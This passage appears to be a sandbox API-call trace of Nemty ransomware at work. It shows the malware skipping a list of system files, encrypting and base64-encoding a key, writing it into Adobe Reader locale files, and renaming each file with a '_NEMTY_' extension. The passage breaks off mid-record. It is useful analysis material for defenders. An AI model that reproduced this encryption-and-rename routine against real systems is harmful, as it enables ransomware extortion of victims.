[0180.035] lstrcmpiW (lpString1="RdLang32.NOR", lpString2="desktop.ini") returned 1 [0180.035] lstrcmpiW (lpString1="RdLang32.NOR", lpString2="CONFIG.SYS") returned 1 [0180.035] lstrcmpiW (lpString1="RdLang32.NOR", lpString2="RECYCLER") returned -1 [0180.035] lstrcmpiW (lpString1="RdLang32.NOR", lpString2="BOOTSECT.BAK") returned 1 [0180.035] lstrcmpiW (lpString1="RdLang32.NOR", lpString2="bootmgr") returned 1 [0180.035] lstrcmpiW (lpString1="RdLang32.NOR", lpString2="programdata") returned 1 [0180.035] lstrcmpiW (lpString1="RdLang32.NOR", lpString2="appdata") returned 1 [0180.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.NOR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.NOR", lpUsedDefaultChar=0x0) returned 12 [0180.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.NOR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.NOR", lpUsedDefaultChar=0x0) returned 12 [0180.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.NOR", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.NOR", lpUsedDefaultChar=0x0) returned 12 [0180.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.NOR", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.NOR", lpUsedDefaultChar=0x0) returned 12 [0180.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.035] Sleep (dwMilliseconds=0x5) [0180.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ef52190, dwHighDateTime=0x1d561e8)) [0180.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ef52190, dwHighDateTime=0x1d561e8)) [0180.037] GetLastError () returned 0x0 [0180.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.037] GetLastError () returned 0x0 [0180.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.038] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.038] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.038] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.038] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="8hfu0gmbSKPsdp/1E15rtNWe5tbVs255UJPtZA9msHJ7B2NuMNNg/vwrfKburFfL\r\n62j//khyQjc3vp9npU7z4+7IXccgN+3dOMd1SQe6bXhOTgY2l58R8nFfb4OVGzrG\r\nli2NZfYHa9JSW8xOk7U7QOsMdpngceB1f2YyVJA4Yhj+HPghCgF/ZOd012N+HjGB\r\n5qqNsmUibHPExOV8HQ/NzQAQSnjXALdR3j5pxR7KRpg2ptRDiWKWk1tWCuKt2jSC\r\nJMrMZkfHYdh+IolomcsQwTmGUxuCuNgpr8GOu3lGiXl6Vw+QolDKI6g5QsDK7M8D\r\nnzN3E/EgCUxEc6dp5cOtGw==\r\n", pcchString=0x653e5dc) returned 1 [0180.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.038] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\RdLang32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\rdlang32.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.039] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=1311744) returned 1 [0180.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0180.039] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.039] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0180.048] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.048] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0180.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.048] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=1311744, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x140400 [0180.048] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.050] CloseHandle (hObject=0x2e8) returned 1 [0180.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.053] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\RdLang32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\rdlang32.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\RdLang32.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\rdlang32.nor._nemty_kgobjgd_")) returned 1 [0180.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.054] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.NOR", cAlternateFileName="READOU~1.NOR")) returned 1 [0180.054] lstrcmpiW (lpString1="ReadOutLoud.NOR", lpString2=".") returned 1 [0180.054] lstrcmpiW (lpString1="ReadOutLoud.NOR", lpString2="..") returned 1 [0180.054] lstrcmpiW (lpString1="ReadOutLoud.NOR", lpString2="...") returned 1 [0180.054] lstrcmpiW (lpString1="ReadOutLoud.NOR", lpString2="windows") returned -1 [0180.054] lstrcmpiW (lpString1="ReadOutLoud.NOR", lpString2="$RECYCLE.BIN") returned 1 [0180.054] lstrcmpiW (lpString1="ReadOutLoud.NOR", lpString2="rsa") returned -1 [0180.054] lstrcmpiW (lpString1="ReadOutLoud.NOR", lpString2="NTDETECT.COM") returned 1 [0180.054] lstrcmpiW (lpString1="ReadOutLoud.NOR", lpString2="ntldr") returned 1 [0180.054] lstrcmpiW (lpString1="ReadOutLoud.NOR", lpString2="MSDOS.SYS") returned 1 [0180.054] lstrcmpiW (lpString1="ReadOutLoud.NOR", lpString2="IO.SYS") returned 1 [0180.054] lstrcmpiW (lpString1="ReadOutLoud.NOR", lpString2="boot.ini") returned 1 [0180.054] lstrcmpiW (lpString1="ReadOutLoud.NOR", lpString2="boot.ini") returned 1 [0180.054] lstrcmpiW (lpString1="ReadOutLoud.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0180.054] lstrcmpiW (lpString1="ReadOutLoud.NOR", lpString2="ntuser.dat") returned 1 [0180.054] lstrcmpiW (lpString1="ReadOutLoud.NOR", lpString2="desktop.ini") returned 1 [0180.054] lstrcmpiW (lpString1="ReadOutLoud.NOR", lpString2="CONFIG.SYS") returned 1 [0180.054] lstrcmpiW (lpString1="ReadOutLoud.NOR", lpString2="RECYCLER") returned -1 [0180.054] lstrcmpiW (lpString1="ReadOutLoud.NOR", lpString2="BOOTSECT.BAK") returned 1 [0180.054] lstrcmpiW (lpString1="ReadOutLoud.NOR", lpString2="bootmgr") returned 1 [0180.054] lstrcmpiW (lpString1="ReadOutLoud.NOR", lpString2="programdata") returned 1 [0180.054] lstrcmpiW (lpString1="ReadOutLoud.NOR", lpString2="appdata") returned 1 [0180.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.054] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.NOR", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0180.054] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.NOR", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.NOR", lpUsedDefaultChar=0x0) returned 15 [0180.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.054] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.NOR", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0180.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.NOR", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.NOR", lpUsedDefaultChar=0x0) returned 15 [0180.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.NOR", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0180.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.NOR", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.NOR", lpUsedDefaultChar=0x0) returned 15 [0180.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.NOR", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0180.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.NOR", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.NOR", lpUsedDefaultChar=0x0) returned 15 [0180.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.055] Sleep (dwMilliseconds=0x5) [0180.068] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ef9e450, dwHighDateTime=0x1d561e8)) [0180.068] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ef9e450, dwHighDateTime=0x1d561e8)) [0180.068] GetLastError () returned 0x0 [0180.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.069] GetLastError () returned 0x0 [0180.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.069] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.069] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.069] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.069] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="YL/Vd71duMahjWrgG2gfgx/FmKrV7aB63em/nSxVVBPz6IUFAYgDVI4SkjEZ449x\r\n3dlCPJ6+7YO09Z83XXOl78kqIFa6BgxI38wHCROX/eKH2KL3yplB68JeeB/kjahx\r\nIiapnXDMMaWXZNLF2GoHnc+pVnSqqkW+XxvuXUNaw/rEIhphIkpA2zRrGk6RT7Tf\r\n6f8jWh9RXj3vdrxyG1Wmi5IouUWtd7i3oe0KNyCsIPc9N3rOmLlo/IJlN4TSPNu5\r\n22yv/QeM7gqQ8UB2hL+sda3Kwtr1vaue4NK20EsJUFKCEpe75Wfq7/naTSkVgVa1\r\n3Z+8eZi27Pt62HwSDrGmng==\r\n", pcchString=0x653e5dc) returned 1 [0180.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.069] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\ReadOutLoud.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\readoutloud.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.069] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0180.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0180.070] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.070] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0180.072] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.072] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0180.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.073] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0180.073] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.073] CloseHandle (hObject=0x2e8) returned 1 [0180.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.073] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\ReadOutLoud.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\readoutloud.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\ReadOutLoud.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\readoutloud.nor._nemty_kgobjgd_")) returned 1 [0180.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.074] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, 